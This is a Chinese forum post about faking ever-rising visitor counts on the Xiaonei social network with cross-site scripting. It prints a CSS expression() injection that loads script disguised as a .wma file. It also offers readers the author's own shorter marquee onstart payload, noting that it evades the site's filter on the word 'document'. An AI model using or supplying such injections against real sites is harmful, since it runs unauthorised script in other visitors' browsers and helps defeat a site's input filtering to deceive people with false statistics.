|
你还没有登录,登录后可以看到更多精彩内容
您需要 登录 才可以下载或查看,没有账号?新成员注册
×
有的人的空间访问量已经达到了几千万(在百度这里相对比较容易,因为文章的访问也算在内。而校内网的不算,所以几百万算是天文数字了),而且数字还在以每秒钟若干的数据增长!所以这里也给大家看下。
懂xss的好友知道,这里便是利用上xss了。看了看他们的代码(涂鸦板),大致如下:
<link href="a308676992321rat.wma" type="text/css" rel="stylesheet" />
<div class=addjs>a247165747728hor.wma</div>
其中a308676992321rat.wma里的代码如下:
.addjs{
display:none;
background:expression((this.innerhtml ="")?(((this.innerhtml=unescape("jsfile=document.createelement%28%27script%27%29;jsfile.src=%27"+this.innerhtml+"%27;document.body.insertadjacentelement%28%27beforebegin%27,jsfile%29;"))&&(eval(this.innerhtml))&&(this.innerhtml=""))==null?'red':'green'):'blue');
}
代码一
a247165747728hor.wma里的代码如下:
function changevcount()
{
var mc=28;
var mcc=parseint(getel('vcount').innertext);
mc+=mcc;
getel('vcount').innertext=mc;
settimeout("changevcount()", 1000);
return true ;
}
changevcount();
代码二
上面的代码挺有意思,甚至用到了ajax hacking的相关技术。
利用层叠样式表中的expression生成script标签,并将src指向a247165747728hor.wma,在a247165747728hor.wma里的getel是校内网页面里定义好的document.getelementbyid的一个缩写函数:
function getel(el){
return document.all?document.all[el]:document.getelementbyid(el);
}
其实懂js的朋友看校内网的代码都会感觉很差异,因为它里面已经有prototype.js了,但似乎在它那里有些大材小用了。汗,不应该说人家!继续说上面的代码!代码二先定义了一个基数,获取当前的访问量并加上基数,然后每一秒中执行一次。这样就达到了访问量不断增加的目的。
这个套路跟我当初通过百度的自定义css来增加版块的套路是一模一样的。但是同样的问题是在这里有些大材小用了。我当初之所以那么做是因为ajax不支持跨域操作的,但它这里似乎不存在此问题。而且另外一个问题是由于expression是不断检查属性的,所以当页面滚动或其他刷新操作时,cpu会占用很大。
另外就是代码太冗余了,所以我就又给室友编了一个,如果也想在校内网炫一把的好友可以参考着加入:
<marquee width="0.1px" onstart="vcount.innerhtml=new date().gettime();">.</marquee>
marquee是文字移动标签,onstart事件是marquee独有的,当marquee元素开始显示内容时触发此事件(所以这个事件是循环的)。除此之外还有onfinish:当marquee元素完成需要显示的内容后触发此事件;onbounce:在marquee内的内容移动至marquee显示范围之外时触发此事件(firefox和opera不支持这三个事件)。这里把width设为了0.1px(有些浏览器可能不支持到小数),是希望在最短的时间内响应事件,相当于给函数加上settimeout。当然用marqueed的scrollamount属性也可以,一般设为100就够快的了。但用width的原因是隐藏那个仅有的“.”。
在onstart里的代码只有一句:vcount.innerhtml=new date().gettime();
由于校内网屏蔽了“document”这个字符串,所以这里我没有使用document.getelementbyid("vcount"),而是直接使用vcount,这仅在当前页面的脚本是允许的,一般如果是调用的js就会出错。innerhtml是插入html文档,后面的就是插入内容了。让我们看看插入了什么?——当前的时间,不过是一个不断增加的数字串,这个数字串的值是通过计算当前时间减去1970年1月1日所得到的毫秒级的时间串(1万亿多哦!而且永远是递增的,不像他那个每回刷新都重新开始。如果嫌大,就除以一个1000变成秒,呵呵)。
 |
|